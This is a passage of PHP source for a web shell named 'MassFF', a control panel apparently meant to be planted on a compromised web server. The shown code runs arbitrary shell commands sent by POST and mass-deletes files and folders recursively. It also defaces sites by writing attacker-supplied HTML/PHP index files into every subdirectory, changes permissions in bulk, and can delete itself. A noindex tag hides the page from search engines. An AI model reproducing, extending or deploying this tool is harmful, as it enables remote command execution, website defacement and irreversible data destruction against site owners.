    {
        $dirs = array();
        if (function_exists('sys_get_temp_dir')) {
            $dirs[] = sys_get_temp_dir();
        }
        if (isset($_SERVER['TMP'])) $dirs[] = $_SERVER['TMP'];
        if (isset($_SERVER['TEMP'])) $dirs[] = $_SERVER['TEMP'];
        if (isset($_SERVER['TMPDIR'])) $dirs[] = $_SERVER['TMPDIR'];
        $dirs[] = '/tmp';
        $dirs[] = '/var/tmp';
        $dirs[] = dirname(__FILE__);
        for ($i = 0; $i < count($dirs); $i++) {
            if (@is_dir($dirs[$i]) && @is_writable($dirs[$i])) {
                return $dirs[$i];
            }
        }
        return dirname(__FILE__);
    }
}

$tool = new MassFF();
$currentDir = isset($_GET['dir']) ? @realpath($_GET['dir']) : @getcwd();
if (!$currentDir || !@is_dir($currentDir)) {
    $currentDir = @getcwd();
    if (!$currentDir) {
        $currentDir = dirname(__FILE__);
    }
}
$dirParam = urlencode($currentDir);
$isAjax = (isset($_POST['ajax']) && $_POST['ajax'] === '1') ||
           (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest');

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $action = isset($_POST['action']) ? $_POST['action'] : '';

    if ($action === 'terminal_exec') {
        $cmd = isset($_POST['cmd']) ? $_POST['cmd'] : '';
        $cwd = isset($_POST['cwd']) ? $_POST['cwd'] : $currentDir;
        if (!empty($cwd) && is_dir($cwd)) {
            @chdir($cwd);
        }
        $output = $tool->executeCommand($cmd);
        $newCwd = @getcwd();
        if (!$newCwd) $newCwd = $cwd;
        @ob_end_clean();
        @header('Content-Type: application/json; charset=UTF-8');
        @header('HTTP/1.1 200 OK');
        echo json_encode(array('output' => $output, 'cwd' => $newCwd));
        exit;
    }

    if ($action === 'self_delete' && isset($_POST['confirm'])) {
        $result = $tool->selfDelete();
        if ($isAjax) {
            @ob_end_clean();
            @header('Content-Type: application/json; charset=UTF-8');
            @header('HTTP/1.1 200 OK');
            echo json_encode(array('success' => $result['success'], 'method' => $result['method'], 'output' => array()));
            exit;
        }
        if ($result['success']) {
            session_destroy();
            @ob_end_clean();
            @header('HTTP/1.1 200 OK');
            @header('Content-Type: text/html; charset=UTF-8');
            echo '<!DOCTYPE html><html><head><meta charset="UTF-8"><title>Deleted</title></head><body style="background:#14141f;color:#7ec89b;font-family:monospace;padding:50px;text-align:center;"><h1>File Deleted Successfully</h1><p style="margin-top:10px;color:#6b6f84;">Method: ' . _h($result['method']) . '</p></body></html>';
            exit;
        } else {
            $tool->addOutput("Self-delete failed: " . $result['method'], 'error');
        }
    }

    $maxDepth = isset($_POST['maxdepth']) ? intval($_POST['maxdepth']) : 999;

    switch ($action) {
        case 'mass_delete_files':
            $filename = isset($_POST['filename']) ? trim($_POST['filename']) : '';
            if (!empty($filename)) $tool->massDeleteFiles($currentDir, $filename, $maxDepth);
            break;
        case 'mass_delete_folders':
            $foldername = isset($_POST['foldername']) ? trim($_POST['foldername']) : '';
            if (!empty($foldername)) $tool->massDeleteFolders($currentDir, $foldername, $maxDepth);
            break;
        case 'delete_all':
            $filesOnly = isset($_POST['files_only']) && $_POST['files_only'] === '1';
            $dirsOnly = isset($_POST['dirs_only']) && $_POST['dirs_only'] === '1';
            $tool->deleteAll($currentDir, $filesOnly, $dirsOnly, $maxDepth);
            break;
        case 'mass_deface':
            $filename = isset($_POST['filename']) ? trim($_POST['filename']) : '';
            $content = isset($_POST['content']) ? $_POST['content'] : '';
            $method = isset($_POST['method']) ? $_POST['method'] : 'auto';
            $maxDepth = isset($_POST['maxdepth']) ? intval($_POST['maxdepth']) : 0;
            if (!empty($filename)) $tool->massDeface($currentDir, $filename, $content, $method, $maxDepth);
            break;
        case 'chmod_by_name':
            $name = isset($_POST['name']) ? trim($_POST['name']) : '';
            $perms = isset($_POST['permissions']) ? $_POST['permissions'] : '755';
            $type = isset($_POST['type']) ? $_POST['type'] : 'all';
            if (!empty($name)) $tool->chmodByName($currentDir, $name, $perms, $type);
            break;
        case 'chmod_all':
            $perms = isset($_POST['permissions']) ? $_POST['permissions'] : '755';
            $filesOnly = isset($_POST['files_only']) && $_POST['files_only'] === '1';
            $dirsOnly = isset($_POST['dirs_only']) && $_POST['dirs_only'] === '1';
            $count = $tool->chmodAll($currentDir, $perms, $filesOnly, $dirsOnly);
            $tool->addOutput("Chmod completed: $count items", 'info');
            break;
    }

    if ($isAjax) {
        @ob_end_clean();
        @header('Content-Type: application/json; charset=UTF-8');
        @header('HTTP/1.1 200 OK');
        echo json_encode(array('success' => true, 'output' => $tool->getOutput()));
        exit;
    }
}

$items = $tool->listDirectory($currentDir);

function formatSize($bytes)
{
    if ($bytes >= 1048576) return round($bytes / 1048576, 1) . ' MB';
    if ($bytes >= 1024) return round($bytes / 1024, 1) . ' KB';
    return $bytes . ' B';
}

$serverName = function_exists('php_uname') ? @php_uname('n') : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'N/A');
$phpVer = PHP_VERSION;
$safeMode = @ini_get('safe_mode') ? 'ON' : 'OFF';
$availExec = $tool->getAvailableExecFunctions();

@ob_end_clean();
if (!headers_sent()) {
    @header('HTTP/1.1 200 OK');
    @header('Content-Type: text/html; charset=UTF-8');
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="robots" content="noindex,nofollow,noarchive,nosnippet,noimageindex">
    <title>MassFF</title>
    <link rel="icon" href="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' fill='none' stroke='%23e8c35a' stroke-width='2'><path d='M13 2L3 14h9l-1 8 10-12h-9l1-8z'/></svg>" type="image/svg+xml">
    <style>
        @import url('https://fonts.googleapis.com/css2?family=Space+Mono:wght@400;700&family=Inter:wght@400;600;700;800;900&display=swap');

        *, *::before, *::after { margin: 0; padding: 0; box-sizing: border-box; }

        :root {
            --bg: #14141f;
            --bg-card: #1e1f33;
            --bg-input: #14141f;
            --bg-sub: #191a2c;
            --border: #5a5e78;
            --border-light: #a0a4b8;
            --border-w: 3px;
            --shadow: 4px 4px 0 #000;
            --shadow-sm: 3px 3px 0 #000;
            --shadow-hover: 6px 6px 0 #000;
            --yellow: #e8c35a;
            --pink: #d97ba0;
            --green: #6bb88a;
            --blue: #6b9fd4;
            --red: #c95656;
            --cyan: #56b0b4;
            --orange: #c99056;
            --purple: #9678cc;
            --text: #c8cad8;
            --text-dim: #6b6f84;
            --text-muted: #3a3d50;
            --font: 'Inter', 'Segoe UI', system-ui, sans-serif;
            --mono: 'Space Mono', 'Consolas', 'SF Mono', monospace;
        }

        body {
            font-family: var(--font);
            background: var(--bg);
            color: var(--text);
            min-height: 100vh;
            line-height: 1.5;
        }

        .loading-overlay {
            display: none;
            position: fixed;
            top: 0; left: 0; right: 0; bottom: 0;
            background: rgba(14, 14, 24, 0.88);
            z-index: 9999;
            align-items: center;
            justify-content: center;
            flex-direction: column;
            gap: 16px;
            backdrop-filter: blur(4px);
            -webkit-backdrop-filter: blur(4px);
        }

        .loading-overlay.active { display: flex; animation: overlayIn 0.3s ease; }
        @keyframes overlayIn { from{opacity:0} to{opacity:1} }

        .loading-box { display: flex; gap: 8px; }

        .loading-box span {
            width: 16px; height: 16px;
            border: 3px solid var(--border-light);
            background: var(--yellow);
            box-shadow: 2px 2px 0 #000;
            animation: loadBounce 0.6s ease-in-out infinite alternate;
        }
        .loading-box span:nth-child(2) { background: var(--pink); animation-delay: 0.15s; }
        .loading-box span:nth-child(3) { background: var(--green); animation-delay: 0.3s; }
        .loading-box span:nth-child(4) { background: var(--blue); animation-delay: 0.45s; }
        @keyframes loadBounce { 0%{transform:translateY(0)} 100%{transform:translateY(-18px)} }

        .loading-text {
            font-family: var(--mono);
            color: var(--text-dim);
            font-size: 13px;
            letter-spacing: 1px;
        }
        .loading-text::after { content: ''; animation: dots 1.5s steps(4, end) infinite; }
        @keyframes dots { 0%{content:''} 25%{content:'.'} 50%{content:'..'} 75%{content:'...'} }

        .loading-progress {
            width: 200px; height: 4px;
            background: var(--bg-sub);
            border: 1px solid var(--border);
            overflow: hidden;
            margin-top: 4px;
        }
        .loading-progress-bar {
            height: 100%; width: 0;
            background: linear-gradient(90deg, var(--yellow), var(--pink), var(--cyan));
            animation: progressAnim 2s ease-in-out infinite;
        }
        @keyframes progressAnim { 0%{width:0;margin-left:0} 50%{width:60%} 100%{width:0;margin-left:100%} }

        .toast-container {
            position: fixed;
            top: 16px; right: 16px;
            z-index: 10000;
            display: flex;
            flex-direction: column;
            gap: 8px;
        }

        .toast {
            background: var(--bg-card);
            border: 2px solid var(--border);
            box-shadow: var(--shadow);
            padding: 12px 18px;
            font-size: 13px;
            font-weight: 600;
            display: flex;
            align-items: center;
            gap: 10px;
            min-width: 260px;
            max-width: 380px;
            animation: toastIn 0.4s cubic-bezier(0.175,0.885,0.32,1.275);
            transition: all 0.3s ease;
        }
        .toast.removing { opacity: 0; transform: translateX(100px); }
        .toast-success { border-color: var(--green); }
        .toast-success svg { color: var(--green); }
        .toast-error { border-color: var(--red); }
        .toast-error svg { color: var(--red); }
        .toast-info { border-color: var(--blue); }
        .toast-info svg { color: var(--blue); }
        .toast svg { width: 18px; height: 18px; flex-shrink: 0; }
        .toast-text { flex: 1; color: var(--text); }
        @keyframes toastIn { 0%{opacity:0;transform:translateX(80px)} 100%{opacity:1;transform:translateX(0)} }

        .wrapper { max-width: 1200px; margin: 0 auto; padding: 16px; }

        .header {
            background: var(--bg-card);
            border: var(--border-w) solid var(--border-light);
            box-shadow: var(--shadow);
            padding: 16px 20px;
            margin-bottom: 16px;
            display: flex;
            align-items: center;
            justify-content: space-between;
            flex-wrap: wrap;
            gap: 12px;
            transition: transform 0.2s, box-shadow 0.2s;
        }
        .header:hover { transform: translate(-1px, -1px); box-shadow: var(--shadow-hover); }

        .header-title {
            font-size: 24px;
            font-weight: 900;
            color: var(--yellow);
            letter-spacing: -0.5px;
            display: flex;
            align-items: center;
            gap: 8px;
        }
        .header-title svg { width: 24px; height: 24px; color: var(--yellow); }

        .header-sub { font-size: 11px; color: var(--text-dim); font-family: var(--mono); }

        .header-meta { display: flex; align-items: center; gap: 8px; flex-wrap: wrap; }

        .badge {
            background: var(--bg-input);
            border: 2px solid var(--border);
            box-shadow: var(--shadow-sm);
            padding: 5px 12px;
            font-size: 11px;
            font-weight: 700;
            color: var(--text-dim);
            font-family: var(--mono);
            white-space: nowrap;
        }
        .badge em { color: var(--yellow); font-style: normal; margin-left: 4px; }

        .btn-logout {
            background: var(--red);
            color: #fff;
            border: 2px solid var(--border-light);
            box-shadow: var(--shadow-sm);
            padding: 6px 16px;
            font-size: 11px;
            font-weight: 800;
            cursor: pointer;
            text-decoration: none;
            text-transform: uppercase;
            letter-spacing: 0.5px;
            font-family: var(--font);
            transition: all 0.15s;
            display: inline-flex;
            align-items: center;
            gap: 5px;
            position: relative;
            overflow: hidden;
        }
        .btn-logout svg { width: 12px; height: 12px; color: #fff; }
        .btn-logout:hover { transform: translate(-2px, -2px); box-shadow: var(--shadow-hover); background: #b84848; }
        .btn-logout:active { transform: translate(2px, 2px); box-shadow: 1px 1px 0 #000; }

        .dir-bar {
            background: var(--bg-card);
            border: var(--border-w) solid var(--border);
            box-shadow: var(--shadow);
            padding: 16px 20px;
            margin-bottom: 16px;
        }

        .dir-bar-top { display: flex; align-items: flex-start; justify-content: space-between; gap: 14px; flex-wrap: wrap; }

        .dir-path-label {
            font-size: 10px; font-weight: 800;
            color: var(--text-dim);
            text-transform: uppercase;
            letter-spacing: 1px;
            margin-bottom: 4px;
        }

        .dir-path { font-family: var(--mono); font-size: 13px; color: var(--yellow); word-break: break-all; font-weight: 700; }

        .dir-stats { display: flex; gap: 10px; flex-shrink: 0; }

        .stat-box {
            background: var(--bg-input);
            border: 2px solid var(--border);
            box-shadow: var(--shadow-sm);
            padding: 8px 16px;
            text-align: center;
            min-width: 68px;
        }
        .stat-num { font-size: 22px; font-weight: 900; color: var(--yellow); line-height: 1; }
        .stat-label { font-size: 9px; font-weight: 700; color: var(--text-dim); text-transform: uppercase; letter-spacing: 0.5px; margin-top: 3px; }

        .btn-parent {
            display: inline-flex; align-items: center; gap: 5px; margin-top: 12px;
            background: var(--yellow); color: #000;
            border: 2px solid var(--border-light);
            box-shadow: var(--shadow-sm);
            padding: 7px 16px;
            font-size: 12px; font-weight: 800;
            text-decoration: none; text-transform: uppercase; letter-spacing: 0.5px;
            transition: all 0.15s;
            position: relative; overflow: hidden;
        }
        .btn-parent:hover { transform: translate(-2px, -2px); box-shadow: var(--shadow-hover); }
        .btn-parent:active { transform: translate(2px, 2px); box-shadow: 1px 1px 0 #000; }

        .ops-grid { display: grid; grid-template-columns: repeat(2, 1fr); gap: 16px; margin-bottom: 16px; }

        .card {
            background: var(--bg-card);
            border: var(--border-w) solid var(--border);
            box-shadow: var(--shadow);
            padding: 20px;
            transition: transform 0.2s, box-shadow 0.2s;
        }
        .card:hover { transform: translate(-1px, -1px); box-shadow: 5px 5px 0 #000; }
        .card-red { border-color: var(--red); }
        .card-cyan { border-color: var(--cyan); }
        .card-amber { border-color: var(--orange); }
        .card-danger { border-color: var(--red); background: linear-gradient(135deg, rgba(100, 30, 30, 0.15), var(--bg-card)); }

        .card-title {
            font-size: 16px; font-weight: 900;
            margin-bottom: 14px;
            display: flex; align-items: center; gap: 8px;
            text-transform: uppercase; letter-spacing: 0.5px;
        }

        .card-title .dot {
            width: 10px; height: 10px;
            border: 2px solid var(--border-light);
            box-shadow: 1px 1px 0 #000;
            animation: pulseDot 2s ease-in-out infinite;
        }
        @keyframes pulseDot { 0%,100%{opacity:1} 50%{opacity:0.4} }
        .dot-red { background: var(--red); }
        .dot-cyan { background: var(--cyan); }
        .dot-amber { background: var(--orange); }
        .title-red { color: var(--red); }
        .title-cyan { color: var(--cyan); }
        .title-amber { color: var(--orange); }

        .sub-card {
            background: var(--bg-sub);
            border: 2px solid var(--border);
            box-shadow: var(--shadow-sm);
            padding: 14px;
            transition: transform 0.15s, box-shadow 0.15s;
        }
        .sub-card:hover { transform: translate(-1px, -1px); box-shadow: 4px 4px 0 #000; }
        .sub-card + .sub-card { margin-top: 10px; }
        .sub-card-label { font-size: 12px; font-weight: 800; color: var(--text); margin-bottom: 10px; text-transform: uppercase; letter-spacing: 0.3px; }

        input[type="text"], textarea, select {
            width: 100%; background: var(--bg-input);
            border: var(--border-w) solid var(--border);
            padding: 9px 12px; font-size: 13px; color: var(--text);
            font-family: var(--mono); outline: none; margin-bottom: 8px;
            transition: border-color 0.2s, box-shadow 0.2s;
        }
        input[type="text"]:focus, textarea:focus, select:focus {
            border-color: var(--yellow);
            box-shadow: 3px 3px 0 rgba(232, 195, 90, 0.2);
        }
        input[type="text"]::placeholder, textarea::placeholder { color: var(--text-muted); }
        textarea { resize: vertical; min-height: 100px; }
        select {
            cursor: pointer; -webkit-appearance: none; appearance: none;
            background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='10' height='10' fill='%236b6f84' viewBox='0 0 16 16'%3E%3Cpath d='m8 11.2-5-5h10z'/%3E%3C/svg%3E");
            background-repeat: no-repeat; background-position: right 10px center; padding-right: 28px;
        }
        select option { background: var(--bg); color: var(--text); }

        .radio-group { display: flex; gap: 4px; margin-bottom: 8px; }
        .radio-group label {
            flex: 1; display: flex; align-items: center; justify-content: center;
            font-size: 11px; font-weight: 700; color: var(--text-dim);
            cursor: pointer; padding: 7px 4px;
            border: 2px solid var(--border); background: var(--bg-input);
            transition: all 0.15s; text-align: center;
        }
        .radio-group label:hover { color: var(--yellow); border-color: var(--yellow); }
        .radio-group input[type="radio"] { display: none; }
        .radio-group label.radio-active {
            border-color: var(--yellow);
            background: rgba(232, 195, 90, 0.1);
            color: var(--yellow);
            box-shadow: 2px 2px 0 #000;
        }

        .scope-label {
            font-size: 10px; font-weight: 800; color: var(--text-dim);
            text-transform: uppercase; letter-spacing: 0.8px; margin-bottom: 4px;
        }

        .check-row {
            display: flex; align-items: center; gap: 6px;
            font-size: 12px; font-weight: 600; color: var(--text-dim);
            cursor: pointer; padding: 4px 0; transition: color 0.2s;
        }
        .check-row:hover { color: var(--yellow); }
        .check-row input[type="checkbox"] { width: 15px; height: 15px; accent-color: var(--yellow); cursor: pointer; }

        .btn {
            width: 100%; padding: 10px;
            border: 2px solid var(--border-light);
            box-shadow: var(--shadow-sm);
            font-size: 12px; font-weight: 800; cursor: pointer;
            transition: all 0.15s; margin-top: 6px;
            text-transform: uppercase; letter-spacing: 0.8px;
            font-family: var(--font);
            position: relative; overflow: hidden;
        }
        .btn:hover { transform: translate(-2px, -2px); box-shadow: var(--shadow-hover); }
        .btn:active { transform: translate(2px, 2px); box-shadow: 1px 1px 0 #000; }
        .btn-red { background: var(--red); color: #fff; }
        .btn-cyan { background: var(--cyan); color: #000; }
        .btn-amber { background: var(--orange); color: #000; }
        .btn-danger { background: var(--red); color: #fff; padding: 14px; font-size: 14px; border-color: #fff; display: inline-flex; align-items: center; justify-content: center; gap: 8px; }
        .btn-danger svg { width: 18px; height: 18px; color: #fff; }

        .ripple {
            position: absolute;
            border-radius: 50%;
            background: rgba(255,255,255,0.3);
            transform: scale(0);
            animation: rippleAnim 0.6s ease-out;
            pointer-events: none;
        }
        @keyframes rippleAnim { to{transform:scale(4);opacity:0} }

        .log-panel {
            background: var(--bg-card);
            border: var(--border-w) solid var(--green);
            box-shadow: var(--shadow);
            padding: 16px 20px;
            margin-bottom: 16px;
        }

        .log-title {
            font-size: 14px; font-weight: 900;
            color: var(--green); margin-bottom: 10px;
            text-transform: uppercase; letter-spacing: 0.5px;
            display: flex; align-items: center; gap: 8px;
        }
        .log-title svg { width: 16px; height: 16px; color: var(--green); }

        .log-body {
            background: var(--bg);
            border: 2px solid var(--border);
            padding: 12px;
            max-height: 280px;
            overflow-y: auto;
            font-family: var(--mono);
            font-size: 11px;
        }

        .log-line {
            display: flex; align-items: flex-start; gap: 8px;
            padding: 3px 0; opacity: 0;
            animation: typeIn 0.3s forwards;
        }
        @keyframes typeIn { 0%{opacity:0;transform:translateX(-8px)} 100%{opacity:1;transform:translateX(0)} }
        .log-time { color: var(--text-muted); flex-shrink: 0; }
        .log-msg { word-break: break-all; }
        .log-success { color: var(--green); }
        .log-error { color: var(--red); }
        .log-info { color: var(--text-dim); }

        .log-body::-webkit-scrollbar { width: 6px; }
        .log-body::-webkit-scrollbar-track { background: transparent; }
        .log-body::-webkit-scrollbar-thumb { background: var(--border); }

        .terminal-panel {
            background: var(--bg-card);
            border: var(--border-w) solid var(--purple);
            box-shadow: var(--shadow);
            padding: 16px 20px;
            margin-bottom: 16px;
        }

        .terminal-title {
            font-size: 14px; font-weight: 900;
            color: var(--purple); margin-bottom: 10px;
            text-transform: uppercase; letter-spacing: 0.5px;
            display: flex; align-items: center; justify-content: space-between;
        }
        .terminal-title-left { display: flex; align-items: center; gap: 8px; }
        .terminal-title-left svg { width: 16px; height: 16px; color: var(--purple); }

        .terminal-info { font-size: 10px; font-weight: 600; color: var(--text-dim); font-family: var(--mono); }

        .terminal-body {
            background: #0c0c14;
            border: 2px solid var(--border);
            padding: 12px;
            height: 260px;
            overflow-y: auto;
            font-family: var(--mono);
            font-size: 12px;
            color: var(--text);
            margin-bottom: 8px;
        }
        .terminal-body::-webkit-scrollbar { width: 6px; }
        .terminal-body::-webkit-scrollbar-track { background: transparent; }
        .terminal-body::-webkit-scrollbar-thumb { background: var(--border); }

        .term-line { padding: 1px 0; white-space: pre-wrap; word-break: break-all; }
        .term-cmd { color: var(--yellow); }
        .term-output { color: var(--text-dim); }
        .term-error { color: var(--red); }
        .term-cwd { color: var(--purple); }

        .term-loading { display: inline-flex; align-items: center; gap: 6px; color: var(--text-muted); }
        .term-spinner { display: inline-block; width: 10px; height: 10px; border: 2px solid var(--border); border-top-color: var(--purple); border-radius: 50%; animation: spin 0.6s linear infinite; }
        @keyframes spin { to{transform:rotate(360deg)} }

        .terminal-input-wrap { display: flex; gap: 0; border: 2px solid var(--border); }
        .terminal-prompt {
            background: var(--bg-sub); padding: 9px 12px;
            font-family: var(--mono); font-size: 12px; font-weight: 700;
            color: var(--purple); white-space: nowrap;
            border-right: 2px solid var(--border);
        }
        .terminal-input {
            flex: 1; background: var(--bg-input);
            border: none !important; box-shadow: none !important;
            padding: 9px 12px; font-family: var(--mono);
            font-size: 12px; color: var(--text); outline: none; margin: 0 !important;
        }
        .terminal-input::placeholder { color: var(--text-muted); }

        .nav-panel {
            background: var(--bg-card);
            border: var(--border-w) solid var(--border);
            box-shadow: var(--shadow);
            padding: 16px 20px;
            margin-bottom: 16px;
        }
        .nav-title {
            font-size: 14px; font-weight: 900;
            color: var(--yellow); margin-bottom: 12px;
            text-transform: uppercase; letter-spacing: 0.5px;
            display: flex; align-items: center; gap: 8px;
        }
        .nav-title svg { width: 16px; height: 16px; color: var(--yellow); }

        .nav-grid { display: grid; grid-template-columns: 1fr 1fr; gap: 16px; }
        .nav-section-title { font-size: 10px; font-weight: 800; color: var(--text-dim); text-transform: uppercase; letter-spacing: 0.8px; margin-bottom: 8px; }

        .nav-list { max-height: 300px; overflow-y: auto; }
        .nav-list::-webkit-scrollbar { width: 6px; }
        .nav-list::-webkit-scrollbar-track { background: transparent; }
        .nav-list::-webkit-scrollbar-thumb { background: var(--border); }

        .nav-item {
            display: flex; align-items: center; justify-content: space-between;
            padding: 8px 10px; font-size: 12px; font-weight: 600;
            border: 2px solid transparent; transition: all 0.15s;
            margin-bottom: 3px; background: var(--bg-input);
        }
        a.nav-item { text-decoration: none; color: var(--text); }
        a.nav-item:hover { border-color: var(--yellow); box-shadow: var(--shadow-sm); transform: translate(-1px, -1px); }
        .nav-item-name { overflow: hidden; text-overflow: ellipsis; white-space: nowrap; flex: 1; margin-right: 6px; }
        .nav-item-icon { flex-shrink: 0; width: 16px; height: 16px; margin-right: 7px; color: var(--text-dim); }
        .nav-item-meta { font-size: 10px; color: var(--text-dim); white-space: nowrap; font-family: var(--mono); }
        .nav-empty { text-align: center; color: var(--text-muted); font-size: 12px; padding: 28px 0; }

        .footer { text-align: center; padding: 20px 0 10px; color: var(--text-muted); font-size: 11px; font-family: var(--mono); }

        .danger-hint { font-size: 12px; color: var(--text-dim); margin-bottom: 12px; }
        .danger-path { font-size: 10px; color: var(--text-muted); margin-top: 8px; word-break: break-all; font-family: var(--mono); }

        @keyframes fadeSlideIn { 0%{opacity:0;transform:translateY(10px)} 100%{opacity:1;transform:translateY(0)} }
        .fade-in { animation: fadeSlideIn 0.4s ease-out; }
        .card { animation: fadeSlideIn 0.4s ease-out both; }
        .card:nth-child(1) { animation-delay: 0.05s; }
        .card:nth-child(2) { animation-delay: 0.1s; }
        .card:nth-child(3) { animation-delay: 0.15s; }
        .card:nth-child(4) { animation-delay: 0.2s; }

        @media (max-width: 768px) {
            .ops-grid { grid-template-columns: 1fr; }
            .nav-grid { grid-template-columns: 1fr; }
            .header { flex-direction: column; align-items: flex-start; }
            .header-meta { width: 100%; }
            .dir-bar-top { flex-direction: column; }
            .dir-stats { width: 100%; }
            .stat-box { flex: 1; }
            .radio-group { flex-wrap: wrap; }
        }
    </style>
</head>
<body>

<div class="loading-overlay" id="loadingOverlay">
    <div class="loading-box">
        <span></span><span></span><span></span><span></span>
    </div>
    <div class="loading-text">Processing</div>
    <div class="loading-progress"><div class="loading-progress-bar"></div></div>
</div>

<div class="toast-container" id="toastContainer"></div>

<div class="wrapper">

    <div class="header fade-in">
        <div>
            <div class="header-title"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M13 2L3 14h9l-1 8 10-12h-9l1-8z"/></svg> MassFF</div>
            <div class="header-sub">Mass File &amp; Folder Tool</div>
        </div>
        <div class="header-meta">
            <div class="badge">PHP<em><?php echo _h($phpVer); ?></em></div>
            <div class="badge">Host<em><?php echo _h($serverName); ?></em></div>
            <div class="badge">Safe<em><?php echo $safeMode; ?></em></div>
            <a href="?logout" class="btn-logout"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><path d="M18 6L6 18M6 6l12 12"/></svg> Logout</a>
        </div>
    </div>

    <div class="dir-bar fade-in">
        <div class="dir-bar-top">
            <div>
                <div class="dir-path-label">Current Directory</div>
                <div class="dir-path"><?php echo _h($currentDir); ?></div>
            </div>
            <div class="dir-stats">
                <div class="stat-box">
                    <div class="stat-num"><?php echo count($items['files']); ?></div>
                    <div class="stat-label">Files</div>
                </div>
                <div class="stat-box">
                    <div class="stat-num"><?php echo count($items['dirs']); ?></div>
                    <div class="stat-label">Folders</div>
                </div>
            </div>
        </div>
        <?php if (dirname($currentDir) !== $currentDir): ?>
            <a href="?dir=<?php echo urlencode(dirname($currentDir)); ?>" class="btn-parent">&larr; Parent</a>
        <?php endif; ?>
    </div>

    <div class="ops-grid">

        <div class="card card-red">
            <div class="card-title title-red"><span class="dot dot-red"></span> Mass Delete</div>

            <div class="sub-card">
                <div class="sub-card-label">Delete Files by Name</div>
                <form class="ajax-form" data-confirm="Delete matching files?">
                    <input type="hidden" name="action" value="mass_delete_files">
                    <input type="text" name="filename" placeholder="*.log or file.txt" required>
                    <div class="scope-label">Depth</div>
                    <div class="radio-group">
                        <label><input type="radio" name="maxdepth" value="0" checked><span>Current</span></label>
                        <label><input type="radio" name="maxdepth" value="1"><span>1 Lvl</span></label>
                        <label><input type="radio" name="maxdepth" value="2"><span>2 Lvl</span></label>
                        <label><input type="radio" name="maxdepth" value="3"><span>3 Lvl</span></label>
                        <label><input type="radio" name="maxdepth" value="999"><span>All</span></label>
                    </div>
                    <button type="submit" class="btn btn-red">Delete Files</button>
                </form>
            </div>

            <div class="sub-card">
                <div class="sub-card-label">Delete Folders by Name</div>
                <form class="ajax-form" data-confirm="Delete matching folders?">
                    <input type="hidden" name="action" value="mass_delete_folders">
                    <input type="text" name="foldername" placeholder="cache or temp*" required>
                    <div class="scope-label">Depth</div>
                    <div class="radio-group">
                        <label><input type="radio" name="maxdepth" value="0" checked><span>Current</span></label>
                        <label><input type="radio" name="maxdepth" value="1"><span>1 Lvl</span></label>
                        <label><input type="radio" name="maxdepth" value="2"><span>2 Lvl</span></label>
                        <label><input type="radio" name="maxdepth" value="3"><span>3 Lvl</span></label>
                        <label><input type="radio" name="maxdepth" value="999"><span>All</span></label>
                    </div>
                    <button type="submit" class="btn btn-red">Delete Folders</button>
                </form>
            </div>

            <div class="sub-card">
                <div class="sub-card-label">Delete All Contents</div>
                <form class="ajax-form" data-confirm="DELETE ALL items in current directory? This CANNOT be undone!">
                    <input type="hidden" name="action" value="delete_all">
                    <label class="check-row"><input type="checkbox" name="files_only" value="1" onchange="if(this.checked)this.form.querySelector('[name=dirs_only]').checked=false"> Files Only</label>
                    <label class="check-row"><input type="checkbox" name="dirs_only" value="1" onchange="if(this.checked)this.form.querySelector('[name=files_only]').checked=false"> Folders Only</label>
                    <div class="scope-label" style="margin-top:6px">Depth</div>
                    <div class="radio-group">
                        <label><input type="radio" name="maxdepth" value="0" checked><span>Current</span></label>
                        <label><input type="radio" name="maxdepth" value="1"><span>1 Lvl</span></label>
                        <label><input type="radio" name="maxdepth" value="2"><span>2 Lvl</span></label>
                        <label><input type="radio" name="maxdepth" value="3"><span>3 Lvl</span></label>
                        <label><input type="radio" name="maxdepth" value="999"><span>All</span></label>
                    </div>
                    <button type="submit" class="btn btn-red">Delete All</button>
                </form>
            </div>
        </div>

        <div class="card card-cyan">
            <div class="card-title title-cyan"><span class="dot dot-cyan"></span> Mass Deface</div>

            <div class="sub-card">
                <div class="sub-card-label">Create File in Subdirectories</div>
                <form class="ajax-form" data-confirm="Mass deface directories from current path?">
                    <input type="hidden" name="action" value="mass_deface">
                    <input type="text" name="filename" placeholder="index.php or index.html" value="index.php" required>
                    <textarea name="content" placeholder="Deface page content (HTML/PHP)..."></textarea>
                    <div class="scope-label">Depth</div>
                    <div class="radio-group">
                        <label><input type="radio" name="maxdepth" value="0" checked><span>Current</span></label>
                        <label><input type="radio" name="maxdepth" value="1"><span>1 Lvl</span></label>
                        <label><input type="radio" name="maxdepth" value="2"><span>2 Lvl</span></label>
                        <label><input type="radio" name="maxdepth" value="3"><span>3 Lvl</span></label>
                        <label><input type="radio" name="maxdepth" value="999"><span>All</span></label>
                    </div>
                    <div class="scope-label">Write Method</div>
                    <select name="method">
                        <option value="auto">Auto (try all)</option>
                        <option value="file_put_contents">file_put_contents</option>
                        <option value="fopen">fopen + fwrite</option>
                        <option value="move_uploaded">tempnam + rename/copy</option>
                    </select>
                    <button type="submit" class="btn btn-cyan">Mass Deface</button>
                </form>
            </div>
        </div>

        <div class="card card-amber">
            <div class="card-title title-amber"><span class="dot dot-amber"></span> Chmod</div>

            <div class="sub-card">
                <div class="sub-card-label">Chmod by Name</div>
                <form class="ajax-form">
                    <input type="hidden" name="action" value="chmod_by_name">
                    <input type="text" name="name" placeholder="filename or *.php" required>
                    <input type="text" name="permissions" value="755" placeholder="755">
                    <select name="type">
                        <option value="all">Files &amp; Folders</option>
                        <option value="file">Files Only</option>
                        <option value="dir">Folders Only</option>
                    </select>
                    <button type="submit" class="btn btn-amber">Apply Chmod</button>
                </form>
            </div>

            <div class="sub-card">
                <div class="sub-card-label">Chmod All (Recursive)</div>
                <form class="ajax-form">
                    <input type="hidden" name="action" value="chmod_all">
                    <input type="text" name="permissions" value="755" placeholder="755">
